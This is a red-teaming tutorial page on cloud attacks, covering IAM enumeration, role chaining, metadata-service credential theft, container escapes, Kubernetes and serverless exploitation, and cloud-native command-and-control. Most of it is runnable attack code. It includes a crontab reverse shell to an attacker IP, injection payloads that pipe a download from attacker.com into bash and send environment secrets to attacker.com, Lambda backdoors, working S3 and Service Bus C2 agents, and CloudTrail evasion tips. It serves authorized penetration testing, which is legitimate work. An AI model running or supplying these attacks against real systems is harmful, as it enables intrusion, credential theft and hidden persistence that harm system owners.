← Back to Red Teaming

Cloud Red Teaming

20 min read

Cloud Red Teaming

Cloud environments have fundamentally reshaped the attack surface available to red teams. Traditional network perimeters have dissolved into a web of APIs, identity providers, and ephemeral infrastructure. Successful cloud red teaming requires understanding not just the technology but the operational patterns, trust relationships, and misconfigurations unique to each provider. This page covers offensive techniques across AWS, Azure, and GCP, along with container, Kubernetes, serverless, and multi-cloud attack paths.


Cloud Attack Surface Overview

The Shared Responsibility Model — From an Attacker’s Perspective

Cloud providers love to talk about shared responsibility. As red teamers, we exploit the gaps in that model — the seams where customer responsibility begins and provider abstractions create false confidence.

LayerProvider ManagesCustomer ManagesAttacker Targets
Physical / HypervisorHardware, host OS, network fabricNothingSide-channel attacks (rare, high sophistication)
Managed Services (S3, RDS, Lambda)Runtime, patching, scalingAccess policies, encryption config, dataMisconfigured IAM, public buckets, unencrypted data
IaaS (EC2, VMs, GCE)Hardware, hypervisorOS, applications, network rules, identityExposed services, weak credentials, metadata abuse
Identity & AccessAuthentication infrastructurePolicy definitions, role assignmentsOver-permissioned roles, credential theft, federation abuse

The critical insight: identity is the new perimeter. In cloud environments, a stolen access key or session token often provides more leverage than a network foothold ever could.

API-Driven Attacks

Every action in cloud environments is an API call. This means:

  • Everything is auditable (if logging is enabled)
  • Everything is scriptable (attackers can automate at scale)
  • Credentials are the keys to the kingdom (no need for network proximity)
  • Rate limits and quotas are the only “firewalls” for many services

Cloud-Specific Kill Chain

The traditional kill chain adapts for cloud environments:

flowchart LR
    A["Initial Access\n(Leaked creds, SSRF,\nphishing)"] --> B["Enumeration\n(IAM, services,\nnetwork topology)"]
    B --> C["Privilege Escalation\n(Role chaining,\npolicy abuse)"]
    C --> D["Lateral Movement\n(Cross-account,\ncross-service)"]
    D --> E["Data Access\n(S3, databases,\nsecrets managers)"]
    E --> F["Persistence\n(Backdoor roles,\nLambda triggers)"]
    F --> G["Impact / Exfil\n(Data theft,\ncryptomine, ransom)"]

    style A fill:#e74c3c,color:#fff
    style B fill:#e67e22,color:#fff
    style C fill:#f39c12,color:#fff
    style D fill:#2ecc71,color:#fff
    style E fill:#3498db,color:#fff
    style F fill:#9b59b6,color:#fff
    style G fill:#1abc9c,color:#fff

AWS Red Teaming

AWS remains the most commonly targeted cloud provider due to market share and the sheer breadth of services. The attack surface is enormous.

IAM Enumeration

IAM is the foundation of AWS security — and the first thing to enumerate.

Using enumerate-iam to discover permissions:

# Clone and run enumerate-iam against stolen credentials
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam
pip install -r requirements.txt

# Run with stolen access keys
python enumerate-iam.py \
  --access-key AKIAIOSFODNN7EXAMPLE \
  --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
  --region us-east-1

Using Pacu for comprehensive AWS exploitation:

# Install and launch Pacu
pip install pacu
pacu

# Inside Pacu shell
Pacu> import_keys stolen_creds
Pacu> set_keys
  Key alias: stolen_creds
  Access Key ID: AKIAIOSFODNN7EXAMPLE
  Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Enumerate IAM permissions
Pacu> run iam__enum_permissions

# Enumerate all users and roles
Pacu> run iam__enum_users_roles_policies_groups

# Check for privilege escalation paths
Pacu> run iam__privesc_scan

Manual AWS CLI enumeration:

# Identify the current caller
aws sts get-caller-identity

# List all users
aws iam list-users

# List all roles (look for cross-account trust)
aws iam list-roles --query 'Roles[*].[RoleName,Arn,AssumeRolePolicyDocument]'

# Enumerate inline policies for a user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name AdminAccess

# Enumerate attached managed policies
aws iam list-attached-user-policies --user-name target-user

# Check for access keys (look for multiple active keys)
aws iam list-access-keys --user-name target-user

S3 Bucket Misconfiguration Exploitation

S3 buckets remain one of the most commonly misconfigured AWS resources.

# Check if a bucket allows public listing
aws s3 ls s3://target-bucket --no-sign-request

# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket

# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket

# Attempt to upload (write test)
echo "red team test" | aws s3 cp - s3://target-bucket/test.txt --no-sign-request

# Download all objects from a misconfigured bucket
aws s3 sync s3://target-bucket ./loot/ --no-sign-request

# Check for versioning (find deleted "secrets")
aws s3api list-object-versions --bucket target-bucket
aws s3api get-object --bucket target-bucket --key secrets.env \
  --version-id "previousVersionId" ./recovered-secrets.env

AssumeRole Chain Abuse

Role chaining is one of the most powerful AWS attack techniques. A single misconfigured trust policy can open access to entire organizations.

flowchart TD
    A["Compromised User\n(Account A)"] -->|"sts:AssumeRole"| B["Role: DevOps-Role\n(Account A)"]
    B -->|"Cross-Account\nsts:AssumeRole"| C["Role: Deploy-Role\n(Account B)"]
    C -->|"sts:AssumeRole"| D["Role: Admin-Role\n(Account B)"]
    D -->|"Access"| E["Production S3 Buckets\nRDS Databases\nSecrets Manager"]

    style A fill:#e74c3c,color:#fff
    style B fill:#e67e22,color:#fff
    style C fill:#f39c12,color:#fff
    style D fill:#c0392b,color:#fff
    style E fill:#2c3e50,color:#fff
# Assume a role in the same account
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/DevOps-Role \
  --role-session-name redteam-session

# Export the temporary credentials
export AWS_ACCESS_KEY_ID="<AccessKeyId>"
export AWS_SECRET_ACCESS_KEY="<SecretAccessKey>"
export AWS_SESSION_TOKEN="<SessionToken>"

# Now pivot cross-account
aws sts assume-role \
  --role-arn arn:aws:iam::987654321098:role/Deploy-Role \
  --role-session-name cross-account-pivot

# Enumerate what the new role can do
aws sts get-caller-identity

EC2 Metadata Service Abuse

The Instance Metadata Service (IMDS) is a goldmine for attackers who gain code execution on an EC2 instance.

# IMDSv1 — Simple GET request (no authentication)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name

# IMDSv2 — Requires a PUT to get a token first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve user-data (often contains secrets, bootstrap scripts)
curl http://169.254.169.254/latest/user-data

IMDSv1 is trivially exploitable via SSRF. IMDSv2 requires a PUT request with a TTL header, which mitigates most SSRF vectors (since most SSRF vulnerabilities only allow GET requests). However, IMDSv2 can still be exploited if the attacker has code execution or the SSRF allows arbitrary HTTP methods.

Lambda Exploitation

# List all Lambda functions
aws lambda list-functions --region us-east-1

# Get function configuration (environment variables often contain secrets)
aws lambda get-function-configuration --function-name target-function

# Download function code
aws lambda get-function --function-name target-function \
  --query 'Code.Location' --output text | xargs curl -o function.zip

# Invoke the function with a crafted payload
aws lambda invoke --function-name target-function \
  --payload '{"key": "malicious-input"}' output.json

# Update function code (persistence via backdoor)
aws lambda update-function-code --function-name target-function \
  --zip-file fileb://backdoored-function.zip

Cognito Misconfigurations

# Enumerate identity pools
aws cognito-identity list-identity-pools --max-results 20

# Get identity pool details (check for unauthenticated access)
aws cognito-identity describe-identity-pool \
  --identity-pool-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

# Get credentials for unauthenticated identity
aws cognito-identity get-id \
  --identity-pool-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

# Self-sign-up to a user pool (if enabled)
aws cognito-idp sign-up \
  --client-id <app-client-id> \
  --username attacker@evil.com \
  --password 'P@ssw0rd123!'

SSM Abuse for Lateral Movement

# List managed instances
aws ssm describe-instance-information

# Run a command on a target instance (if you have ssm:SendCommand)
aws ssm send-command \
  --instance-ids i-0123456789abcdef0 \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["whoami","cat /etc/shadow"]'

# Get command output
aws ssm get-command-invocation \
  --command-id "command-id-here" \
  --instance-id i-0123456789abcdef0

# Start an interactive session (no SSH key needed)
aws ssm start-session --target i-0123456789abcdef0

CloudTrail Evasion

# Check which trails are active
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name default-trail

# Find regions without logging
aws cloudtrail describe-trails --query 'trailList[?IsMultiRegionTrail==`false`]'

# Use non-logged API calls (read-only data events are often not logged)
# Many organizations only log management events, not data events
aws s3api head-object --bucket target --key sensitive-file.txt

# Use regions where CloudTrail is not configured
aws sts get-caller-identity --region af-south-1

# Use services that don't support CloudTrail well
# (check AWS documentation for logging gaps)

Note: Disabling CloudTrail itself generates a highly visible event. Smarter evasion focuses on using API calls that are not logged or operating in regions where logging is not enabled. See also Infrastructure for broader evasion techniques.


Azure Red Teaming

Azure’s deep integration with Entra ID (formerly Azure AD) makes identity attacks especially powerful. Compromising a single Entra ID account can cascade across Azure subscriptions, Microsoft 365, and connected SaaS applications.

Entra ID Enumeration

Using ROADtools for Entra ID enumeration:

# Install ROADtools
pip install roadrecon roadlib

# Authenticate (supports multiple methods)
roadrecon auth --access-token <token>
# or
roadrecon auth -u user@target.com -p 'password'

# Gather all Entra ID data
roadrecon gather

# Launch the web UI to explore the data
roadrecon gui

Using AzureHound for attack path mapping:

# Download AzureHound
# https://github.com/BloodHoundAD/AzureHound

# Collect data with a refresh token
./azurehound -r <refresh-token> list \
  --tenant target.onmicrosoft.com -o azurehound-output.json

# Import into BloodHound for graph-based analysis
# Upload azurehound-output.json via BloodHound GUI

Manual Entra ID enumeration via Azure CLI and PowerShell:

# Connect to Azure
Connect-AzAccount

# Enumerate all users
Get-AzADUser | Select-Object DisplayName, UserPrincipalName, ObjectId

# Enumerate all groups and memberships
Get-AzADGroup | ForEach-Object {
    $group = $_
    $members = Get-AzADGroupMember -GroupObjectId $_.Id
    [PSCustomObject]@{
        GroupName = $group.DisplayName
        Members = ($members.DisplayName -join ", ")
    }
}

# Enumerate service principals
Get-AzADServicePrincipal | Select-Object DisplayName, ApplicationId, ObjectId

# Enumerate all role assignments
Get-AzRoleAssignment | Select-Object DisplayName, RoleDefinitionName, Scope

# List all subscriptions accessible
Get-AzSubscription

# Enumerate App Registrations with credentials
Get-AzADApplication | ForEach-Object {
    $creds = Get-AzADAppCredential -ObjectId $_.Id
    if ($creds) {
        [PSCustomObject]@{
            AppName = $_.DisplayName
            AppId = $_.ApplicationId
            CredentialCount = $creds.Count
        }
    }
}

Conditional Access Bypass Techniques

Conditional Access policies are the primary gating mechanism in Entra ID. Common bypasses include:

  • Legacy authentication protocols: If not blocked, protocols like IMAP, POP3, and SMTP bypass MFA requirements
  • Device compliance gaps: Join a device to Entra ID or use a compliant device type that the policy does not cover
  • Location-based bypass: Use VPN endpoints in trusted IP ranges
  • Application exclusions: Identify applications excluded from Conditional Access policies
  • Token theft: If you steal a valid session token or PRT, the authentication has already passed CA checks
# Check for legacy auth availability using AADInternals
Install-Module AADInternals -Force
Import-Module AADInternals

# Test basic auth against various endpoints
Invoke-AADIntReconAsOutsider -DomainName target.com

Service Principal Abuse

Service principals with high privileges are common in automated pipelines.

# Find service principals with high-privilege roles
Get-AzRoleAssignment | Where-Object {
    $_.ObjectType -eq 'ServicePrincipal' -and
    $_.RoleDefinitionName -in @('Owner','Contributor','User Access Administrator')
}

# If you have the SP credentials, authenticate as it
$secpasswd = ConvertTo-SecureString "client-secret" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("app-id", $secpasswd)
Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant "tenant-id"

Managed Identity Exploitation

Managed identities are the Azure equivalent of EC2 instance roles. If you compromise a VM or App Service, you can request tokens from the metadata endpoint.

# From a compromised Azure VM — request a token for ARM
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq .

# Request a token for Microsoft Graph
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
  | jq .

# Use the token with Azure CLI
az account get-access-token --resource https://management.azure.com/
az vm list --output table

AADInternals Usage

# Install AADInternals
Install-Module AADInternals -Force
Import-Module AADInternals

# External reconnaissance
Invoke-AADIntReconAsOutsider -DomainName target.com

# Get tenant information
Get-AADIntTenantDetails

# Enumerate users (if Guest access is permitted)
Get-AADIntUsers

# Export all Entra ID data
Invoke-AADIntReconAsInsider

# Token manipulation
$token = Get-AADIntAccessTokenForMSGraph
Parse-AADIntToken -AccessToken $token

PRT (Primary Refresh Token) Theft

The PRT is a powerful token that provides SSO across all Microsoft services.

# On a compromised Entra ID-joined device, use Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap

# Or use ROADtoken to request new tokens using the PRT
# https://github.com/dirkjanm/ROADtools

# The PRT can be used to bypass Conditional Access
# since the device has already satisfied device-compliance checks

Azure Storage Account Access

# Enumerate storage accounts
az storage account list --query '[].{Name:name,ResourceGroup:resourceGroup}'

# List containers with a stolen access key
az storage container list --account-name targetaccount --account-key <key>

# List blobs
az storage blob list --container-name data --account-name targetaccount \
  --account-key <key> --output table

# Download sensitive data
az storage blob download --container-name data --name secrets.json \
  --account-name targetaccount --account-key <key> --file ./secrets.json

# Check for anonymous access
az storage blob list --container-name data --account-name targetaccount \
  --auth-mode anonymous

Azure Arc Pivoting

Azure Arc extends Azure management to on-premises and multi-cloud resources, creating a bridge attackers can exploit.

# Enumerate Arc-connected machines
az connectedmachine list --query '[].{Name:name,Status:status,OS:osName}'

# Run commands on Arc-connected machines
az connectedmachine run-command create \
  --machine-name target-server \
  --resource-group prod-rg \
  --name "RedTeamCmd" \
  --script "whoami && hostname && ipconfig /all"

For deeper Active Directory and Entra ID attack chains, see Active Directory Attacks.


GCP Red Teaming

GCP uses a project-centric model with IAM bindings at multiple levels (organization, folder, project, resource). Service accounts are the primary non-human identity, and their keys are a frequent target.

Service Account Key Theft

# List service accounts in a project
gcloud iam service-accounts list --project target-project

# Check for exported keys (these are permanent credentials)
gcloud iam service-accounts keys list \
  --iam-account sa@target-project.iam.gserviceaccount.com

# If you find a key file (JSON), authenticate with it
gcloud auth activate-service-account \
  --key-file stolen-key.json

# Search common locations for leaked keys
# CI/CD configs, environment variables, Git history, container images

IAM Privilege Escalation

GCP has specific IAM permissions that enable escalation.

# Check current permissions
gcloud projects get-iam-policy target-project

# The iam.serviceAccountTokenCreator role allows impersonation
# If your SA has this on another SA, you can generate tokens for it
gcloud iam service-accounts get-iam-policy \
  sa@target-project.iam.gserviceaccount.com

# Generate an access token for another service account (impersonation)
gcloud auth print-access-token \
  --impersonate-service-account=admin-sa@target-project.iam.gserviceaccount.com

# If you have setIamPolicy on a project, grant yourself Owner
gcloud projects add-iam-policy-binding target-project \
  --member='serviceAccount:compromised-sa@target-project.iam.gserviceaccount.com' \
  --role='roles/owner'

GCP Metadata Server Abuse

# From a compromised GCE instance — get the default service account token
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Get the service account email
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# Get project-level metadata (may contain startup scripts with secrets)
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/"

# Get instance attributes
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/"

# Get instance SSH keys (for lateral movement)
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"

ScoutSuite for Multi-Cloud Enumeration

# Install ScoutSuite
pip install scoutsuite

# Run against GCP
scout gcp --service-account stolen-key.json

# Run against AWS
scout aws --access-key-id AKIA... --secret-access-key ...

# Run against Azure
scout azure --cli

# ScoutSuite generates an HTML report highlighting misconfigurations
# across identity, storage, compute, networking, and logging

Compute Engine and Cloud Functions

# List all GCE instances
gcloud compute instances list

# SSH into an instance (if your SA has compute.instances.setMetadata)
# This works by injecting your SSH key into instance metadata
gcloud compute ssh target-instance --zone us-central1-a

# List Cloud Functions
gcloud functions list

# Get function source code
gcloud functions describe target-function --format json | jq '.sourceArchiveUrl'

# Invoke a function
gcloud functions call target-function --data '{"key":"malicious-value"}'

Container and Kubernetes Attacks

Containers and Kubernetes introduce a dense attack surface. A single misconfiguration can grant full cluster control.

Container Escape Techniques

Privileged container escape:

# Check if running in a privileged container
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Mount the host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host SSH keys, shadow file, etc.
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa

# Or write a cron job for reverse shell
echo '* * * * * root bash -i >& /dev/tcp/attacker-ip/4444 0>&1' \
  >> /mnt/host/etc/crontab

Docker socket escape:

# Check if Docker socket is mounted
ls -la /var/run/docker.sock

# If so, run a new privileged container that mounts the host
docker -H unix:///var/run/docker.sock run -it --privileged \
  --pid=host --net=host -v /:/mnt/host ubuntu chroot /mnt/host bash

Kernel exploit escalation:

# Check kernel version from inside the container
uname -r

# Containers share the host kernel, so kernel exploits
# (e.g., DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195)
# can escape the container boundary

Kubernetes RBAC Abuse

# Check your current permissions
kubectl auth can-i --list

# Check if you can create pods (cluster-admin equivalent if unrestricted)
kubectl auth can-i create pods
kubectl auth can-i create pods --all-namespaces

# Enumerate cluster roles
kubectl get clusterroles
kubectl get clusterrolebindings -o wide

# Look for overly permissive bindings
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'

# Check for secrets access
kubectl auth can-i get secrets --all-namespaces
kubectl get secrets --all-namespaces

Service Account Token Theft

# Every pod mounts a service account token by default
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Use the token to authenticate to the API server
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $KUBE_TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/default/pods

# Check what the SA can do
curl -sk -H "Authorization: Bearer $KUBE_TOKEN" \
  https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

etcd Access

# If you can reach the etcd endpoint (often on port 2379)
# etcd stores ALL Kubernetes state including secrets in plaintext

# List all keys
etcdctl --endpoints=https://etcd-host:2379 \
  --cacert=/path/to/ca.crt \
  --cert=/path/to/cert.crt \
  --key=/path/to/key.key \
  get / --prefix --keys-only

# Dump all secrets
etcdctl --endpoints=https://etcd-host:2379 \
  --cacert=/path/to/ca.crt \
  --cert=/path/to/cert.crt \
  --key=/path/to/key.key \
  get /registry/secrets --prefix

Pod-to-Pod Lateral Movement

# Enumerate the cluster network from inside a pod
# Kubernetes pods can typically reach all other pods (no network policy)
# Scan the pod CIDR
nmap -sT -p 80,443,8080,8443,3306,5432,6379,27017 10.244.0.0/16

# Enumerate services via DNS
nslookup kubernetes.default.svc.cluster.local
# Kubernetes DNS follows the pattern:
# <service>.<namespace>.svc.cluster.local

# Access services directly
curl http://internal-api.production.svc.cluster.local:8080/admin

# Exploit hostPath mounts — if a pod mounts a host directory
# Check for sensitive host paths mounted into pods
kubectl get pods -o json | jq '.items[].spec.volumes[]? | select(.hostPath)'

Serverless Exploitation

Serverless functions execute in ephemeral containers, but they are far from immune to attack. The attack surface shifts to event triggers, dependencies, and runtime configuration.

Lambda / Azure Functions / Cloud Functions Attack Vectors

Event injection:

# Lambda functions triggered by S3 events — upload a malicious file
# If the function processes filenames unsafely:
aws s3 cp malicious.txt "s3://trigger-bucket/; curl attacker.com/shell | bash"

# Functions triggered by SQS — inject a malicious message
aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/123456789012/target-queue \
  --message-body '{"action":"__import__(\"os\").system(\"curl attacker.com/exfil?data=$(env | base64)\")"}'

# API Gateway triggers — test for injection in HTTP parameters
curl -X POST https://api-id.execute-api.us-east-1.amazonaws.com/prod/endpoint \
  -d '{"input": "{{constructor.constructor(\"return this.process.env\")()}}"}'

Dependency poisoning:

# Serverless functions pull dependencies at deploy time
# If a requirements.txt or package.json includes unpinned versions,
# a typosquatting or dependency confusion attack can inject malicious code

# Check for dependency files in function source
aws lambda get-function --function-name target \
  --query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code
cat function_code/requirements.txt
cat function_code/package.json

Runtime manipulation and data exfiltration:

# If you have lambda:UpdateFunctionConfiguration, inject environment variables
aws lambda update-function-configuration \
  --function-name target-function \
  --environment "Variables={EXFIL_URL=https://attacker.com/collect}"

# Modify layers to inject malicious dependencies
aws lambda publish-layer-version \
  --layer-name backdoor-layer \
  --zip-file fileb://malicious-layer.zip \
  --compatible-runtimes python3.9

aws lambda update-function-configuration \
  --function-name target-function \
  --layers arn:aws:lambda:us-east-1:123456789012:layer:backdoor-layer:1

Cloud-Native C2

Traditional C2 frameworks often trigger network-based detections. Cloud-native C2 channels blend into legitimate traffic by using the same APIs and endpoints that the organization already trusts.

Using Cloud Services as C2 Channels

S3-based C2:

# Agent checks S3 for commands, writes output back
import boto3, subprocess, json, time

s3 = boto3.client('s3')
BUCKET = 'legitimate-looking-bucket'
AGENT_ID = 'agent-001'

while True:
    # Check for commands
    try:
        obj = s3.get_object(Bucket=BUCKET, Key=f'tasks/{AGENT_ID}')
        cmd = json.loads(obj['Body'].read())['command']
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
        # Write results
        s3.put_object(
            Bucket=BUCKET,
            Key=f'results/{AGENT_ID}/{int(time.time())}',
            Body=json.dumps({'output': output.decode()})
        )
        s3.delete_object(Bucket=BUCKET, Key=f'tasks/{AGENT_ID}')
    except s3.exceptions.NoSuchKey:
        pass
    time.sleep(60)

Azure Blob Storage or Azure Service Bus C2:

# Using Azure Service Bus as a bidirectional C2 channel
from azure.servicebus import ServiceBusClient
import subprocess, json

conn_str = "Endpoint=sb://target-namespace.servicebus.windows.net/;SharedAccessKey=..."
client = ServiceBusClient.from_connection_string(conn_str)

with client:
    receiver = client.get_queue_receiver(queue_name="commands")
    sender = client.get_queue_sender(queue_name="results")

    for msg in receiver:
        cmd = json.loads(str(msg))['command']
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
        sender.send_messages(ServiceBusMessage(
            json.dumps({'output': output.decode()})
        ))
        receiver.complete_message(msg)

SQS-based C2 (blends with normal AWS queue traffic):

# Operator sends commands via SQS
aws sqs send-message --queue-url https://sqs.../c2-queue \
  --message-body '{"command": "whoami"}'

# Agent polls, executes, and responds to a separate result queue
aws sqs receive-message --queue-url https://sqs.../c2-queue
# ... execute command ...
aws sqs send-message --queue-url https://sqs.../results-queue \
  --message-body '{"output": "root"}'

Advantages of Cloud-Native C2

  • Traffic goes to legitimate cloud provider endpoints (*.amazonaws.com, *.blob.core.windows.net)
  • TLS encrypted by default
  • Often allowed through corporate firewalls and proxy rules
  • Blends with the organization’s own cloud API traffic
  • No need to maintain dedicated infrastructure

Multi-Cloud Attack Paths

Federated Identity Abuse

Modern organizations federate identity across cloud providers. This creates cross-cloud pivoting opportunities.

# AWS IAM Identity Center (SSO) federated with Entra ID
# Compromising an Entra ID account can provide AWS access
# via SAML-based federation

# Check for SAML providers in AWS
aws iam list-saml-providers

# Get SAML metadata (shows the federated IdP)
aws iam get-saml-provider \
  --saml-provider-arn arn:aws:iam::123456789012:saml-provider/EntraID

# If you compromise an Entra ID user, request a SAML assertion
# and use it to assume an AWS role
# Tool: https://github.com/secureworks/whiskeysamlandfriends

Cross-Cloud Pivoting Scenarios

ScenarioSourcePivot MethodTarget
Entra ID to AWSAzure AD accountSAML FederationAWS IAM role
AWS to GCPEC2 instance roleWorkload Identity FederationGCP service account
GCP to AzureGCP service accountApplication credentials stored in GCPAzure subscription
On-prem to CloudDomain controllerAzure AD Connect syncEntra ID / Azure
Cloud to On-premAzure Arc / AWS SSMRemote command executionOn-prem servers

Hybrid Cloud: On-Prem to Cloud and Back

# Azure AD Connect — if you compromise the sync server, you get:
# 1. The AD DS Connector account (can DCSync on-prem AD)
# 2. The Azure AD Connector account (can modify cloud users)

# Extract Azure AD Connect credentials
# Using AADInternals on the sync server
Get-AADIntSyncCredentials

# Use the cloud connector credentials to modify cloud objects
# Use the AD connector credentials to DCSync on-prem

# AWS Systems Manager — on-prem to cloud bridge
# If SSM agents are installed on on-prem servers registered with AWS
# Compromising the AWS account gives command execution on-prem
aws ssm describe-instance-information \
  --filters "Key=PingStatus,Values=Online"

On-prem to cloud pivoting is deeply intertwined with Active Directory. See Active Directory Attacks for domain escalation techniques that lead to cloud compromise.


Cloud Detection Evasion

CloudTrail Tampering and Logging Gaps

# Identify CloudTrail configuration
aws cloudtrail describe-trails
aws cloudtrail get-event-selectors --trail-name main-trail

# Common logging gaps:
# - Data events (S3 object-level, Lambda invocations) often not logged
# - Some regions may not have trails configured
# - Management events may exclude read-only events

# Use API calls that fall outside logging scope
# S3 HEAD requests (data events) vs. bucket-level operations (management)
aws s3api head-object --bucket target --key secret.txt

Blending with Legitimate Admin Activity

  • Use the same user agents and SDKs as the organization (aws-cli, az, gcloud)
  • Operate during business hours in the organization’s timezone
  • Avoid mass enumeration patterns; space out API calls
  • Use the same source IP ranges if possible (VPN into the corporate network first)
  • Prefer read-only operations that generate less alarm than write operations

API Rate Limiting Awareness

Cloud providers enforce rate limits. Hitting them can:

  1. Trigger alerts based on throttling events
  2. Cause denial of service to legitimate operations (blowing your cover)
  3. Result in temporary lockouts
# AWS rate limiting example — add jitter to enumeration
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
    aws ec2 describe-instances --region "$region" 2>/dev/null
    sleep $((RANDOM % 5 + 2))  # Random 2-7 second delay
done

IP Allowlist Abuse

# If the target uses IP-based access controls:
# 1. Compromise a resource inside the trusted network
# 2. Use cloud shell (comes from a provider-owned IP range)
# 3. Use the organization's VPN or jump box
# 4. Leverage CI/CD runners that are in the allowlist

# Azure Cloud Shell runs from Microsoft-owned IPs
# AWS CloudShell runs from AWS-owned IPs
# These may be in organizational allowlists

Cloud Red Team Tools Reference

ToolCloud ProviderPurposeLicense
PacuAWSComprehensive AWS exploitation frameworkBSD-3-Clause
enumerate-iamAWSBrute-force IAM permission enumerationGPL-3.0
CloudMapperAWSNetwork and IAM visualizationBSD-2-Clause
ProwlerAWS / Azure / GCPCloud security posture assessmentApache 2.0
ScoutSuiteAWS / Azure / GCPMulti-cloud security auditingGPL-2.0
ROADtoolsAzureEntra ID enumeration and explorationMIT
AzureHoundAzureEntra ID attack path mapping (BloodHound)GPL-3.0
AADInternalsAzureEntra ID administration and exploitationMIT
MicroBurstAzureAzure security assessment toolkitBSD-3-Clause
StormspotterAzureAzure attack graph visualizationMIT
GCPBucketBruteGCPGCP storage bucket enumerationMIT
HayatGCPGCP privilege escalation scannerApache 2.0
PeiratesKubernetesKubernetes penetration testing toolGPL-3.0
kube-hunterKubernetesKubernetes cluster vulnerability scannerApache 2.0
CDKContainersContainer penetration toolkitGPL-2.0
CloudfoxAWS / Azure / GCPCloud penetration testing automationMIT
Stratus Red TeamAWS / Azure / GCPAdversary emulation for cloudApache 2.0

For a complete tools reference with installation guides and usage patterns, see Tools Reference.


Cloud Provider Comparison: Key Attack Surfaces

Attack SurfaceAWSAzureGCP
Primary IdentityIAM Users / RolesEntra ID Users / Service PrincipalsGoogle Accounts / Service Accounts
Instance Metadata169.254.169.254 (IMDSv1/v2)169.254.169.254 (Metadata header)metadata.google.internal (Flavor header)
Temp CredentialsSTS AssumeRoleManaged Identity tokensService Account tokens
Object StorageS3Blob StorageCloud Storage
Secrets ManagementSecrets Manager / SSM Parameter StoreKey VaultSecret Manager
ServerlessLambdaAzure FunctionsCloud Functions
Container OrchestrationEKSAKSGKE
Remote ExecutionSSM Run CommandRun Command Extension / ArcOS Config / SSH-in-browser
LoggingCloudTrail + CloudWatchActivity Log + MonitorCloud Audit Logs
FederationIAM Identity Center (SAML/OIDC)Entra ID FederationWorkload Identity Federation
Privilege EscalationIAM policy misconfig, role chainingRole assignment, Entra ID rolessetIamPolicy, tokenCreator

Key Takeaways

  1. Identity is everything. In cloud environments, compromising a single credential can cascade across accounts, subscriptions, and even cloud providers. Enumerate IAM thoroughly before attempting any exploitation.

  2. Metadata services are your best friend. Any code execution on a cloud instance (VM, container, serverless function) should immediately attempt to reach the metadata endpoint. The credentials obtained there often have far more privilege than expected.

  3. Think in trust relationships, not network topology. Cloud attack paths follow IAM trust policies, role assumptions, federation configurations, and service account impersonation chains — not VLANs and subnets.

  4. Cloud logging is powerful but not omniscient. Every cloud provider has logging gaps. Understanding what is and is not logged is the difference between a clean engagement and a burned operation.

  5. Multi-cloud multiplies attack surface. Organizations that span AWS, Azure, and GCP often have federated identity, shared secrets, and cross-cloud trust relationships that create unexpected pivot paths.

  6. Containers are not security boundaries. A privileged container, a mounted Docker socket, or a kernel exploit can break out of the container and onto the host. Treat container escapes as a primary objective, not a side quest.


Cloud red teaming demands continuous learning as providers evolve their services and security controls monthly. The techniques described here represent current best practices, but always verify against the latest provider documentation and service updates before an engagement.